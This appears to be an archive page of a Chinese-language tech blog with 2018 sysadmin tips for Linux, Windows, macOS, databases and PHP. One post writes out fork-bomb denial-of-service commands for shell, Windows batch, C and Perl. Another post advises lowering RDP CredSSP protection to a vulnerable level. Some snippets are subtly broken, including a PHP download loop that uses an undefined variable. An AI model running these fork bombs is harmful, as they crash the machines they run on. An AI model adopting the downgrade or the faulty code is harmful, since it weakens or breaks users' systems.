發表文章

目前顯示的是 2018的文章

自動產生blowfish字串網站

http://www.passwordtool.hu/blowfish-password-hash-generator https://www.question-defense.com/tools/phpmyadmin-blowfish-secret-generator https://bcrypt-generator.com/ https://webnet77.net/cgi-bin/helpers/crypthelp.pl http://aspirine.org/htpasswd_en.html https://www.browserling.com/tools/bcrypt

MySQL8 於 CentOS 7/RHEL安裝後預設密碼

圖片
利用yum 安裝 MySQL 8 後(https://dev.mysql.com/doc/refman/8.0/en/linux-installation-yum-repo.html,https://dev.mysql.com/downloads/repo/yum/), 或 wget https://dev.mysql.com/get/mysql80-community-release-el7-2.noarch.rpm yum localinstall  mysql80-community-release-el7-2.noarch.rpm yum install mysql-community-server 安裝後 mysql 之管理帳號 root已經不再是空密碼,需先找尋預設密碼,才能繼續使用mysql_secure_installation 接著搜尋預設密碼,利用指令grep $ su - $ grep 'temporary password' /var/log/mysqld.log 若要搭配phpMyAdmin使用會發生cache_sha2_password問題 (圖一) 請記得修改如以下 msyql -u root -p >alter user 'root'@'localhost' identified with mysql_native_password by 'password'; 參考如下 https://dev.mysql.com/doc/refman/8.0/en/linux-installation-yum-repo.html https://dev.mysql.com/doc/refman/8.0/en/upgrading-from-previous-series.html#upgrade-caching-sha2-password

利用bcdboot 重建啟動引導

圖片
1. 利用安裝開機片或 WinPE開機,進入命令提示字元cmd.exe,如圖一 2. 輸入指令diskpart,並輸入 list vol 來列出磁碟分割,原本\windows存放位置可能為c: 3. 選擇 Label 為 SYSTEM 的啟動磁碟(100或幾百MB),指令 select volume 4. 視 select volume情況,掛上磁碟tag,指令 assign letter z: ,也可能不需要,如圖二 5. 下指令 bcdboot c:\Windows /s Z: /f UEFI BCD指令 https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/hh824874(v=win.10)?redirectedfrom=MSDN (圖一) (圖二) 參考資料: https://www.asus.com/tw/support/FAQ/1011477 https://www.diskpart.com/articles/windows-error-0xc00000e9-7201.html

Windows 10 版本資訊

https://www.microsoft.com/zh-tw/itpro/windows-10/release-information https://www.microsoft.com/zh-tw/software-download/vlacademicwindows10iso?4cd9df4f-deef-4431-9497-a04303f34986=True

Boot Camp 安裝 MS Windows 10 1803或以上版本 遇到錯誤

圖片
因 MS Windows 10 的 ISO 光碟檔 install.wim 超過 4G,無法讓Boot Camp 切割格式化出來的 FAT3 BootCamp磁區放入,故Boot Camp Assistant製作會出現錯誤,故必須利用切割 install.wim方式分成 install.swm 與 install2.swm,每個檔2G左右,來載入重整過的 ISO 安裝檔,如下工具: Boot Camp ISO Converter 參考自: https://twocanoes.com/using-larger-windows-10-isos-with-boot-camp-assistant/ https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/split-a-windows-image--wim--file-to-span-across-multiple-dvds https://msdn.microsoft.com/zh-tw/library/windows/hardware/dn938329(v=vs.85).aspx

CentOS7 GRUB 重建方式

GRUB1.X 1. 使用DVD或USB Boot啟動Linux光碟 2. 按下 F5 或 輸入 linux rescue 進入救援模式 3. 選擇 mount /mnt/sysimage 4. 輸入 grub-install /dev/sda 假如開機曹為 /dev/sda 5. 用 vi 看一下/etc/grub.conf 或 /boot/grub/grub.conf ,不同Linux Distribution有不同的位置。 6.重啟動 GRUB2.x 1.指令需 root 權限     mount / /dev/sdb1 #假設拔到另一台作業系統,或是Live DVD 或是 Ctrl+D修復模式下 2.  grub-install --root-directory=/ /dev/sdb 3.  update-grub2   1. Boot from boot DVD or usb iso image 2. Press F5 or type linux rescue to enter the rescue environment 3. Select the option to allow mount system root partition in /mnt/sysimage or type chroot /mnt/sysimage 4. type grub-install /dev/sda to reinstall GRUB boot loader, if your Linux boot partition in /dev/sda 5. Check /etc/grub.conf or /boot/grub/grub.conf for in accordance with your Linux version 6. Reboot your system by combo keys Ctrl + Alt + Del

CentOS 7 內 apache 2.4.6 強制使用 https

圖片
1. 編輯 /etc/httpd/conf/httpd.conf,加入如下藍色選項 <VirtualHost *:80>     ServerName www.mylinux.com.tw     DocumentRoot /var/www/html     Redirect permanent / https://www.mylinux.com.tw </VirtualHost> 2. systemctl restart httpd # 重新啟動apache 或 利用 .htaccess,適合租借空間 RewriteEngine on RewriteCond ^80$ RewriteRule "^/?(.*)" "https://%{HTTP_HOST}/$1" [R=301] (圖一) 參考自: https://www.centos.org/forums/viewtopic.php?t=62079 https://wiki.apache.org/httpd/RedirectSSL#Using_virtual_hosts_.28using_redirect.29

合併CentOS6 DVD

1. 從  http://isoredirect.centos.org/centos/6/isos/x86_64/  , 下載CentOS6 原始文件 Disc 1 , Disc2 2. 將 Disc2 光碟內 Packages/*.rpm 之所有rpm檔複製進Disc1 Packages/ 3. 新增Disc2 光碟內 Packages/TRANS.TBL 內容至 Disc1光碟內 Packages/TRANS.TBL 內容,並將每行資料重新排列後儲存,可利用指令 sort TRANS.TBL 4. 這樣可完成合併成一張DVD,也方便 PXE BOOT 做單一印象檔與Kickstart自動安裝 CentOS自己有出 shell script 來幫助合併 https://wiki.centos.org/zh-tw/TipsAndTricks/CDtoDVDMedia

在Linux內轉換文件內字元編碼

在Linux下利用 iconv指令轉換字元編碼,須先下載 libiconv 套件 使用方式 $ iconv  -f Big5 -t utf-8 big5_file.txt > utf8_file.txt 或 $ iconv  -f  ISO-8859 -t  utf-16  -o  utf16_file.txt  iso8859_file.txt 查詢參數 man iconv

Windows PE 或 Windows 安裝片製作自訂驅動程式方法

圖片
1. 先由  MS Windows 網站下載 AIK / ADK 來安裝 Windows PE Windows 7 sp1 https://www.microsoft.com/zh-tw/download/details.aspx?id=5188 https://www.microsoft.com/zh-tw/download/details.aspx?id=5753 Windows 10 https://docs.microsoft.com/en-us/windows-hardware/get-started/adk-install (圖一) 利用 setup 安裝後(請記得安裝部署與Windows PE),如圖一 2. 若為windows安裝光碟檔,將win7.iso下載後,可利用7zip解壓縮並放在 c:\download\win7 將下載的驅動程式如 intel usb3 xhci(C216與C220)或 nec usb3 driver 或 intel ethernet driver(100M/1G/10G/40G),或realtek ethernet driver ,可從 www.intel.com找到。解壓縮後,找尋子資料夾Driver,x64或x86內的.inf,.dll,.sys全部或分類(若有重複檔名)的複製到 c:\download\driver或以下分類名稱,如c:\download\driver\intelusb3_c220,並新增掛載暫存資料夾,c:\wimimage 3. 利用管理者權限開啟部署工具命令提示字元,準備掛載 .wim 映像檔。 若要修改windows安裝光碟檔,需利用以下掛載 dism /mount-wim  wimfile:c:\download\win7\sources\boot.wim  /index:1  /mountdir:c:\wimimage dism /image:c:\wimimage  /add-driver /driver:c:\driver\intelusb3_c220 /recurse /forceunsigned dism  /unmount-wim  /mountdir:c:\wimimage  /commit -------

完全移除mac上Office 安裝

圖片
除了使用AppCleaner這移除軟體(https://freemacsoft.net/appcleaner/)外,再手動移除可參考微軟的網站。 1. 開啟Finder -> 應用程式 -> 選取Microsoft Word, Excel, PowerPoint等軟體,按滑鼠右鍵,丟到垃圾桶(如圖一)。 2. 接著要移除資源庫的元件,一樣開啟Finder,按住Option/Alt + Shift +h 或選上方工具列前往->個人專屬,用列表顯示方式瀏覽->點選齒輪-> 打開顯示方式選項->勾選顯示資料庫檔案夾 ,如圖二 3. 進到個人專屬的資源庫->Containers->刪除有關 com.microsoft. 開頭之檔案(圖三) 4. 進入個人專屬的資源庫->Group Containers -> 刪除有關 UBF8T346G9. 開頭之檔案(圖四) 5. 再移除下方圖示列的Microsfot PowerPoint, Excel, Word之圖示即可。 (圖一) (圖二) (圖三) (圖四) 引用網址 https://support.office.com/en-us/article/uninstall-office-for-mac-eefa1199-5b58-43af-8a3d-b73dc1a8cae3#ID0EAABAAA=Newer_versions

macOS更新 10.14 Mojave後,出現MS Office 2016 無法操作功能之問題

圖片
更新 macOS 10.14 Mojave (圖一)後,MS Office 2016有些功能會失去作用,尤以大量授權版本之Office 2016,此時可 1. 完全移除Office 2016再重新安裝,可根據 https://3ctipsmemo.blogspot.com/2018/10/macoffice.html 2. 安裝後,再安裝跳出的更新工具檔,或手動 經由以下微軟原廠連結下載更新檔(2018-10-16 released): https://docs.microsoft.com/zh-tw/officeupdates/update-history-office-for-mac (圖一)

Office 2016 安裝出現錯誤,錯誤碼1:1935 2:{1DCC307A-F98F-42B9-AA13-0F17815DF9F9} 之解決方法

圖片
移除Store的Office 365後,安裝Office 2016出現錯誤碼1935問題,如圖一 需用管理者身份執行軟體regedit.exe,來移除登錄機碼\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AppModel\Lookaside,底下所有機碼,如圖二 加入機碼 \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\,新增一 DWORD(32位)值 為 RegistrySizeLimit,設定16進位值為ffffffff 重開機,並重新安裝 Office 2016,執行 setup.exe (圖一) (圖二) 備註 請記得亦要檢查  Microsoft store 所安裝的 Office 相關Apps 或是 開始 -> 程式列表裡面的 Office 相關 Apps 是否也已移除(按滑鼠右鍵 -> 解除安裝)

CentOS 7 架設 nfs server 需開啟之通訊埠與SELinux規則

圖片
SELinux setsebool -P nfs_export_all_rw=1 setsebool -P nfs_export_all_ro=1 通訊埠 firewall-cmd --add-port=111/tcp --permanent firewall-cmd --add-port=111/udp --permanent firewall-cmd --add-port=2049/tcp --permanent firewall-cmd --add-port=2049/udp --permanent firewall-cmd --add-port=20048/tcp --permanent firewall-cmd --add-port=20048/udp --permanent firewall-cmd --permanent --add-service=rpc-bind firewall-cmd --permanent --add-service=nfs firewall-cmd --permanent --add-service=mountd firewall-cmd --reload TCPWrapper rpcbind:  192.168.78.0/24 mountd: 192.168.78.0/24

Ubuntu 18.04 安裝 Pulse Secure VPN

圖片
1. 安裝 libwebkit-gtk sudo apt install libwebkit* 2. 安裝 pulse from app store 開啟store,搜尋 pulse 3. 執行後,點選 +,輸入ssl vpn位址,按connect,如下圖 (圖一) 參考 https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB40277/?l=en_US&fs=RelatedArticle https://docs.pulsesecure.net/WebHelp/Content/PCS/PCS_AdminGuide_8.2/Using%20Pulse%20Secure%20Linux%20UI.htm

MariaDB 查詢特殊條件

有些特殊條件查詢,需要利用到組合式或JOIN方式查詢。例如:我們要查詢該表格內,有符合在其他表格的條件,皆不要列出的資料。此時可以用 select * from this_table where condition not in ( select condition from another_table ); 或 select * from this_table except select condition from another_table; 參考資料 https://stackoverflow.com/questions/8768254/select-values-from-a-table-where-exclude-values-in-another-table https://mariadb.com/kb/en/library/subqueries-and-joins/

Ubuntu 18 安裝 flash player plugin 給內建 firefox

圖片
Ubuntu內建的firefox無法正確顯示flash 物件,藉由以下網頁  https://get.adobe.com/flashplayer/about/ 得知需要安裝的版本為 NPAPI, 所以我們從以下網站下載 NPAPI 的 tar.gz 檔案,如圖一 https://get.adobe.com/flashplayer/otherversions/ (圖一) 下載後,利用指令  tar  zxvf flash_player_npapi_linux.x86_64.tar.gz 解壓縮後,接著讀 readme.txt 內容,可得知須複製 libflashplayer.so 至firefox plugin的資料夾,與複製解開之 usr資料夾底下的所有檔案至 /usr。如 cp libflashplayer.so /usr/lib/mozilla/plugins/  或  cp libflashplayer.so /usr/lib/adobe-flashplugin 以及 cp -r /usr/* /usr 接著再重啟動 firefox 瀏覽器,連結測試網址 https://get.adobe.com/flashplayer/about/ 若成功就有版本訊息! 或是 參考 https://help.ubuntu.com/stable/ubuntu-help/net-install-flash.html.en https://help.ubuntu.com/stable/ubuntu-help/addremove-sources.html.en#canonical-partner

fork bomb 的 DoS

 在各種環境下,皆可使用該指令方式攻擊: 1. Unix-like Shell $ :(){:|:&};:    # $為命令提示字元,如同 fbomb(){fbomb|fbomb &}; forkbomb 2.  Windows > %0 | %0    # > 為命令提示字元 3. C with POSIX #include<unistd.h> int main(){ while(1)  // always true    fork(); return 0; } 4. Perl fork while fork 參考資料 https://askubuntu.com/questions/159491/why-did-the-command-make-my-system-lag-so-badly-i-had-to-reboot https://zh.wikipedia.org/wiki/Fork%E7%82%B8%E5%BC%B9

PHP利用header()下載檔案,來隱藏路徑並解決檔案超過 memory_limit 限制

檔案下載可直接使用 <a href="[filepath]">檔案下載</a>來直接下載檔案,但路徑卻會輕易被得知,之後只要有心人複製 [filepath]貼到瀏覽器,就可以直接下載,而無需透過網頁點選。 此時可利用header來隱藏檔案連結路徑。 1. 先用 SQL資料表,存取檔案路徑與產生該路徑之唯一鍵,如以下   $filekey = md5( [filepath] );   製作PHP來製作 $filekey 與 $filepath 之對應。 利用 POST 或 GET 來傳遞 filekey ,傳遞前使用 urlencode()來編碼,再利用 urldecode() 來解出 $filekey 並搜尋出相對應的 $filepath。 2. 接著利用 header() 來下載 filepath,利用 finfo 類別來偵測檔案類型: <?php   $finfo = finfo_open(FILEINFO_MIME);   header('Content-Type: '.finfo_file($finfo, $filepath));   header('Content-Description: File Transfer');   header('Content-Transfer-Encoding: binary');   header('Cache-control: private');   header("Content-Length: ". (string)filesize($filepath));   header("Content-Disposition: attachment; filename=".basename($filepath));   ob_clean();   ob_flush();   readfile($filepath);   /*  以下修正檔案超過 memory_limit 大小造成之錯誤  */     while (!feof($fp))     {     echo fread($fp, 65536);     ob_flush

利用CSS讓整體區塊改變字型大小樣式

要同批改變超連結字體大小,可使用CSS方式如以下: <style> #myid{ font-size:16px; } .myclass{ font-size:20px; } .a{font-size:22px; } </style> <html> <a href="#">字大小為22px</a> <div id="myid">字體大小為16px</div> <div class="myclass">字體大小為20px</div> </html> 參考資料 https://www.w3schools.com/css/css_font.asp

Ubuntu Linux製作個人GnuPG簽章,來加密文件與訊息

圖片
1. 下載GnuPG   apt install gunpg 2. 產生 PG 密鑰,會詢問真實姓名與電子郵件地址(組成所謂的用戶ID),接著會詢問密碼,請輸入兩次用以確認。如圖一   gpg --gen-key   #快速產生 或   gpg --full-generate-key 3. 再產生取消的證書,以備密鑰作廢可以請求提供公鑰伺服器來取消公鑰  gpg --gen-revoke gpg --list-keys 可以顯示公鑰與私鑰 公鑰文件存在 ~/.gnupg/pubring.kbx 4. 匯出公鑰與私鑰 gpg --armor --output pub_key.crt --export user_ID    #用戶名稱公鑰 gpg --armor --output pri_key.crt --export-secret-keys user_ID  # 用戶名稱私鑰,須輸入密碼 5. 上傳公鑰至公鑰伺服器如 https://pgp.mit.edu/ https://pgp.key-server.io/ gpg --send-keys user_ID --keyserver pgp.mit.edu 可利用 gpg --fingerprint 來取得公鑰指紋並公開讓人比對公鑰伺服器提供之公鑰是否為真 6. 加密文件,先匯入對方公鑰,對方讀取僅需要他的私鑰與密碼 gpg --import myfriend_pub.crt  #可請對方發送或是從上述公鑰伺服器尋找 gpg --recipient friend_ID --output mydoc.txt.encrypt --encrypt mydoc.txt   # ID通常是 username<email> 解密可用 gpg mydoc.txt.encrypt 7. 利用個人私鑰對文件做簽章,以證明本人所發 gpg --sign mydoc.txt 若想單獨簽名文件 .sig 與內容分開放,可以用以下 gpg ---armor -detach-sign mydoc.txt 對方可利用您的公鑰,來驗證 (圖一) (圖二

Windows 設定關閉 task offloading

1. 搜尋 cmd.exe -> 滑鼠右鍵 -> 使用管理者權限開啟 2. 關閉 netsh int ip set globally taskoffload=disable 開啟 netsh int ip set globally taskoffload=enable 參考 https://docs.microsoft.com/en-us/windows-hardware/drivers/network/task-offload

Ubuntu Linux使用 youtube-dl 下載自己上傳的 youtube 影片

圖片
1.  apt install youtube-dl 2. CLI 方式 (man youtube-dl ) youtube-dl  "youtube_url" 3. 安裝圖形化 apt install ytd-gtk 如下圖 for CentOS yum install -y youtube-dl yum install -y ytd-gtk 參考資料 https://www.duplicate-finder.com/video-dl.html

解決 apt 出現 "you must manually run 'sudo dpkg --configure -a' to correct the problem"

圖片
1. 進入 /var/lib/dpkg/updates/ 2. 用指令 rm 刪除所有裡面之檔案,如圖 rm -rf * , 如圖 3. sudo apt upgrade 4. sudo apt update

PHP魔術常數

PHP內建之魔術常數,為全域型態,以下列出常用的: __LINE__            顯示現在在該php檔案內的行數 __FILE__             顯示該php檔案完整的檔案路徑與檔名 __DIR__              顯示該php檔案所在的資料夾 __FUNCTION__    顯示現在函數名稱 __CLASS__         顯示類別名稱 __METHOD__      顯示方法名稱 還有伺服器提供之全域變數,如    $_SERVER["PHP_SELF"]   可以應用在 form 表單,如 htmlspecialchars($_SERVER["PHP_SELF"]) 參考至 http://php.net/manual/en/language.constants.predefined.php

HTML 顯示特殊字元與符號編碼

HTML為了要顯示特殊字元,而非解析成保留字或標籤,如 陳大德<youraccount@yourmail.com>,會無法顯示正確,故要用特殊符號替代或是利用PHP內有htmlentities() 函數轉換。w3c shcool列舉很多,筆者僅列出常用的: #---------               name                number           其他方式 留空白                  &nbsp;                &#160             <pre> </pre> <                            &gt;                     &#60 >                            &lt;                      &#62   &                           &amp;                 &#38 "                            &quot;                &#34; '                             &apos;                 &#39; ©                          &copy; newline                 &NEWLine;          &#10; Tab                        &Tab;                  &#9; 組合字元 比如數學用字須結合特殊字元 #---------       character                construct                    '                            a                           a&#769; ~                

Ubuntu Linux 安裝 notepadqq 或 atom 或 sublime Editor

# notepadqq PPA $ sudo add-apt-repository ppa:noteadqq-team/notepadqq $ sudo apt-get update $ sudo apt-get install notepaddqq 參考 https://github.com/notepadqq/notepadqq#distribution-packages # sublime 1. GPG key installation $ wget -q0 https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add - $ sudo apt-get install apt-transport-https $ echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list $ sudo apt-get update $ sudo apt-get install sublime-text 參考 https://www.sublimetext.com/docs/3/linux_repositories.html # Atom 1. GPG key installation $ curl -sL https://packagecloud.io/AtomEditor/atom/gpgkey | sudo apt-key add - $ sudo sh -c 'echo "deb [arch=amd64] https://packagecloud.io/AtomEditor/atom/any/ any main" > /etc/apt/sources.list.d/atom.list $ sudo apt-get update 參考 https://flight-manual.atom.io/getting-started/sections/installing-atom/

ubuntu linux 取消 secure boot

圖片
有些Notebook使用EFI boot 則無法停用efi secure boot ,若無法停止BIOS的secure boot,可能會在 ubuntu linux 下讓 vmware (vmmon or vmnet) 或 virtualbox (vboxdrv )無法啟動,首先要安裝 mokutils,來控制 secure boot 的 key 與設定。 1. $ sudo apt install mokutil  2.  $ moktuil --disable-validation 3.利用 efibootmgr 開啟 efi 開機的控制畫面約5秒鐘     $ efibootmgr --timeout 5 4. 重開機後 在 Shim UEFI key management 選擇 Change  secure boot State -> 取消 secure boot 即可(如圖一)       (圖一) 5. 接著 sudo modprobe vboxdrv 與 sudo modprobe vmmon 指令,就會有作用,而不是出現key pair 不符合的錯誤訊息 若須設定 efi secure boot key $ openssl req -new -x509 -days 36500  -newkey rsa:2048 -keyout MOK.priv -outform DER -out MOK.der  -subj  "/CN=VMware/" $ sudo /usr/src/linux-headers-\`uname -r\`/scripts/sign-file sha256 ./MOK.priv ./MOK.der $(modinfo -n vmmon) $ sudo /usr/src/linux-headers-\`uname -r\`/scripts/sign-file sha256 ./MOK.priv ./MOK.der $(modinfo -n vmnet) $  sudo mokutil --import MOK.der 引自:  https://kb.vmware.com/s/article/2146460

JavaScript 幾種關閉視窗語法

1. window.open('','_self'.''); window.close();  # for IE >=7 2. window.opener=null; window.close();   # for IE=6 3. window.opener=''; window.close();      # for IE other 參考資料 https://stackoverflow.com/questions/57854/how-can-i-close-a-browser-window-without-receiving-the-do-you-want-to-close-thi https://www.w3schools.com/jsref/met_win_close.asp

macOS X 利用 Quick Time 與 iTunes 將mp4轉mp3

圖片
以下為在 El Capitan 下操作使用,無須依靠安裝第三方軟體: 1. 利用 Quick Times 開啟 mp4 檔案 2. 在上方選項列選擇檔案 -> 輸出 -> 僅限音訊... -> 選擇存放位置  (如圖一),此動作會轉成 m4a 3. 從文件存放位置使用 itune 開啟 m4a,先從上方選項列選擇 itune -> 偏好設定 -> 一般 -> 輸入設定 -> 選擇mp3編碼器 -> 品質您高興即可 (如圖二,圖三) 4. 從iTunes上方選項列-> 檔案 -> 轉換 -> 製作mp3版本 (如圖四) 5. 轉完即為 .mp3 格式檔案。若要繼續燒錄至光碟,則需先將.mp3檔案開啟後,點滑鼠左鍵選擇該mp3 檔案,點選滑鼠右鍵選擇加入播放清單。接著選擇檔案  -> 燒錄播放列表至光碟,記 得要有燒錄機與空白光碟CD片。 (圖一) (圖二) (圖三) (圖四) 參考資料 https://support.apple.com/zh-tw/ht204310

CentOS 7 的 MariaDB 升級方式

1. 編輯 /etc/yum.repos.d/MariaDB.repo 內部URL位址修改為 10.3,或重新下載MariDB Repository。 https://mariadb.com/kb/en/library/mariadb-package-repository-setup-and-usage/ 2. systemctl stop mysql 3. 備份資料庫內所有資料     mysqldump -u root -p --all-databases > mydb.sql     mysqldump -u root -p --databases mydb1 mydb2 > Optional_db.sql 4. yum -y remove MariaDB-server 4. yum -y install MariaDB-server 6. yum -y update MariaDB-Client MariaDB-common 7. mysql_upgrade -p

PHP變數數值型態轉換方法

1. 利用目標類型,如(object) $my_integer = (int)$my_variable; $my_bool = (bool)$my_integer; $my_float = (float)$my_string; $my_string = (string)$my_integer; $my_array = (array)$my_integer; 2. 利用具體類型函數,如 intval() $my_integer = intval($my_string); $my_float = floatval($my_string); $my_str = strval($my_integer); 3. 利用一般設置型態轉換函數,如 settype() $my_string="2018"; $isTrans_boolean = settype($my_string,"int"); echo var_dump($my_string);

CentOS 6/7 安裝常用較官方之 YUM 套件Repository

圖片
安裝完 CentOS Linux 後,還會缺乏某些套件,故必要先安裝YUM套件庫後,往後便能利用yum下載想要的套件,如以下步驟: 1. su - 2. yum -y install epel-release  centos-release-scl 3. CentOS 7 安裝 php72 可從 我的 github下載 script 若需做 Let's Encrypt 的 https,執行以下步驟 1. yum -y install yum-utils 2. yum-config-manager --enable rhui-REGION-rhel-server-extras rhui-REGION-rhel-server-optional 3. yum install certbot-apache 4. certbot --apache 5. certbot -a dns-plugin -i apache -d "*.yourdomain.com" -d example.com --server https://acme-v02.api.letsencrypt.org/directory 6. 再執行 crontab -e 編輯cron內容,加入以下: 0 0,12 * * * python -c 'import random; import time; time.sleep(random.random() * 3600)' && certbot renew 7. 其他系統使用Let's Encrypt https請參考 https://certbot.eff.org/ 參考如下: https://wiki.centos.org/SpecialInterestGroup/SCLo https://fedoraproject.org/wiki/EPEL https://certbot.eff.org/lets-encrypt/centosrhel7-apache (圖一)

遠端連線 Windows Server 2016 發生 CredSSP 加密 Oracle 補救

圖片
遠端連線 Windows Server 2016 卻發現出現 CredSSP 加密 Oracle 補救,如圖一 為由於Windows 更新所造成,可由以下方法排除: 1. 可先從 Windows Update Catalog 網站下載您的連線端(客戶端)與被連線端(伺服器端)更新檔 KB4093120 https://www.catalog.update.microsoft.com/Search.aspx?q=KB4093120 如連線端為 Windows 10 x64      被連線端為 Windows Server 2016 x64 下載接安裝更新 2. 在連線端可執行 gpedit.msc,若是家用版,要先修改(https://www.microsoft.com/zh-TW/download/details.aspx?id=48257) 接著進入電腦設定 -> 系統管理範本 -> 系統 -> 認證委派 -> 設定名稱 加密 Oracle 補救, 選擇 保護層級降為易受攻擊即可 3. 或是可以使用登陸檔編輯程式 regedit,編輯 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters 值名稱  AllowEncryptionOracle 值型態 DWORD 4. 若為 Home edition ,可從原廠網站下載 本機群組原則 https://www.microsoft.com/zh-TW/download/details.aspx?id=48257 以上完成後,須重開機才能運行。 參考資料 參考連結 https://support.microsoft.com/ zh-tw/help/4093492/credssp- updates-for-cve-2018-0886- march-13-2018 https://blogs.technet.microsoft.com/yongrhee/2018/05/09/after-may-2018-security-update-rdp-an-auth

MariaDB / MySQL 手動建立資料庫與使用帳號

1. 安裝完套件後執行 mysql_secure_installation 2. 用root登入,並輸入上一步設定的密碼 mysql -u root -p 3. 新增資料庫,並設定語系編碼 create database mydb  characer set = utf8mb4  collate =  utf8mb4_general_ci ; 4. 新增使用者,並設定密碼 create user dbuser @ localhost  identified by ' mypasswd' ; 5. 新增使用者對資料庫權限 grant all privileges on mydb.* to dbuser @ localhost ; 6. 匯入您再別台機器匯出的.sql資料庫,如檔名為 export.sql mysql -u dbuser -p mydb < export.sql 接著就可以用使用者dbuser登入了 以上藍色字為隨個人喜好與需求變更。 若要改變使用密碼 可利用以下指令 mysql -u root -p 登入後 use mysql; update user set password=password('yourpass')  where user='username' and host='localhost'; flush privileges; 參考 https://www.tecmint.com/change-mysql-mariadb-root-password/

Mac OS X讀寫 NTFS, ExtFS, XFS

圖片
可透過Mac第三方套件安裝管理程式 Homebrew https://brew.sh/ MacPort https://www.macports.org/install.php NTFS 1. 如Linux利用FUSE(https://en.wikipedia.org/wiki/Filesystem_in_Userspace), 先下載FUSE for macOS 並安裝 https://github.com/osxfuse/osxfuse/releases 2. ntfs-3g for mac https://github.com/osxfuse/osxfuse/wiki/NTFS-3G https://sourceforge.net/projects/catacombae/?source=typ_redirect 付費:下載Tuxera的 ntfs-for-mac https://www.tuxera.com/products/tuxera-ntfs-for-mac/download/ 3. ntfs-3g open source 資源 https://www.tuxera.com/community/open-source-ntfs-3g/ 或利用 2 Paragon-Software 免費版:http://www.paragon-drivers.com/tw/free/ 最新版:https://www.paragon-software.com/ufsdhome/zh/ntfs-mac/ 關於 ExtFS 1. https://github.com/alperakcan/fuse-ext2 https://sourceforge.net/projects/fuse-ext2/ 2. Paragon-Software https://www.paragon-software.com/ufsdhome/zh/extfs-mac/

macOS X 安裝微軟標楷或其他字型

圖片
1. 右上角搜尋放大鏡圖示,點選後輸入 字體簿 2. 出現如圖一之視窗,點選上方之 + 再選擇您要加入的字型檔案,如 kaiu.ttf, edukai.ttf, ebas927.ttf 或 .ttc 格式檔案,從您作業系統C:\Windows\Fonts 複製出來之檔案格式。 再選擇確定即可,警告之小問題可略過。 3. 這樣 LibreOffice文件即可看到原本從Windows系統寄件的字型了。 (圖一)

MS Windows 下讀取 Linux ext2/ext3/ext4 軟體

DiskInternals Linux Reader https://www.diskinternals.com/linux-reader/ ext2read/ext2explore https://sourceforge.net/projects/ext2read/ ext2ifs http://www.fs-driver.org/ https://sourceforge.net/projects/ext2fsd/files/ paragon linuxfs https://www.paragon-software.com/home/linuxfs-windows/ explore2fs http://www.chrysocome.net/downloads/vv-3.0-install.exe

macOS 連線MS Windows網路芳鄰(samba, cifs)

圖片
1. 點選執行Finder 2. 在Finder上方功能列選擇 前往 -> 連接伺服器 (如圖一) 3. 輸入samba通訊協定 smb://,後方接上網路硬碟或NAS的IP位址後,按 + 4. 跟伺服器連線後,會提示輸入連入的帳號密碼,再輸入帳號密碼後,選連線即可。 (圖一) (圖二) 參考 https://support.apple.com/kb/PH25269?locale=en_US&viewlocale=zh_TW

MS Windows 更新套件目錄網站

http://www.catalog.update.microsoft.com/home.aspx 適用所有MS Windows 版本的更新,只要搜尋更新套件 KB0000000開頭的套件名稱 就會出現所有對應版本 如 Windows 10 - https://support.microsoft.com/en-us/help/4093112 Windows 7 - https://support.microsoft.com/en-us/help/4093113

中文字全字庫與免費中文字型

CNS https://www.cns11643.gov.tw/AIDB/welcome.do Google  <--- 中文字有些會消失,無法顯示,不好用 https://www.google.com/get/noto/#/family/noto-sans-hant adobe思源中文字 https://www.google.com/get/noto/#serif-hant ^ |--------不好用,不好用,不好用 補充資料 http://www.fontriver.com/ https://www.dafontfree.net/freefonts-helvetica-f128587.htm 字型檔檔檔格式轉換 https://onlinefontconverter.com/ http://www.fontconverter.org

利用Windows 10 的 BitLocker 來加密隨身碟資料

圖片
1. Search and execute Control Panel 2. System and Security 3. BitLocker encrypt 4. Choose External Disk as Figure 1 5. Enable BitLocker and set your password. 參考 https://technet.microsoft.com/zh-tw/library/mt404677(v=vs.85).aspx

CentOS 7 安裝ibus注音輸入法

圖片
1. su - 2. yum search chewing 3. yum install ibus-chewing or Gnome GUI setting from follow figure -> Region & language

線上影像處理與圖片去背

雲端版繪圖 https://pixlr.com/editor/ tutorial http://pixlr.com/blog/category/tutorial/  https://www.youtube.com/watch?v=txP6b8ZeRUc

Add exfat format support on CentOS 7

1. wget http://download1.rpmfusion.org/free/el/updates/7/x86_64/r/rpmfusion-free-release-7-1.noarch.rpm 2. yum -y install fuse-exfat exfat-utils or 1. wget http://download1.rpmfusion.org/free/el/updates/7/x86_64/f/fuse-exfat-1.2.7-1.el7.x86_64.rpm 2. wget http://download1.rpmfusion.org/free/el/updates/7/x86_64/e/exfat-utils-1.2.7-1.el7.x86_64.rpm 3. yum install fuse-exfat-1.2.7-1.el7.x86_64.rpm exfat-utils-1.2.7-1.el7.x86_64.rpm

MS Windows KMS Client Setup KEY

不小心安裝成單機版,想換成公司大量授權的版本,可以先換序號成下方: 以下引自 https://learn.microsoft.com/zh-tw/windows-server/get-started/kms-client-activation-keys Windows Server 2022 Windows Server 2022 Datacenter      WX4NM-KYWYW-QJJR4-XV3QB-6VM33 Windows Server 2022 Datacenter     NTBV8-9K7Q8-V27C6-M2BTV-KHMXV Azure 版本 Windows Server 2022 Standard       VDYBN-27WPP-V4HQT-9VMD4-VMK7H Windows Server 2019 Windows Server 2019 Datacenter     WMDGN-G9PQG-XVVXX-R3X43-63DFG Windows Server 2019 Standard       N69G4-B89J2-4G8F4-WWYCC-J464C Windows Server 2019 Essentials     WVDHN-86M7X-466P6-VHXV7-YY726 Windows Server 2016 Operating system edition KMS Client Setup Key Windows Server 2016 Datacenter CB7KF-BWN84-R7R2Y-793K2-8XDDG Windows Server 2016 Standard WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY Windows Server 2016 Essentials JCKRF-N37P4-C2D82-9YXRT-4M63B Windows 10/11 Operating system edition KMS Client Setup Key Windows 10/11 Professional   W269N-WFGWX-YVC9B-4J6C9-T83GX Windows 10/11 Pr

php5 的 session_start() 注意事項
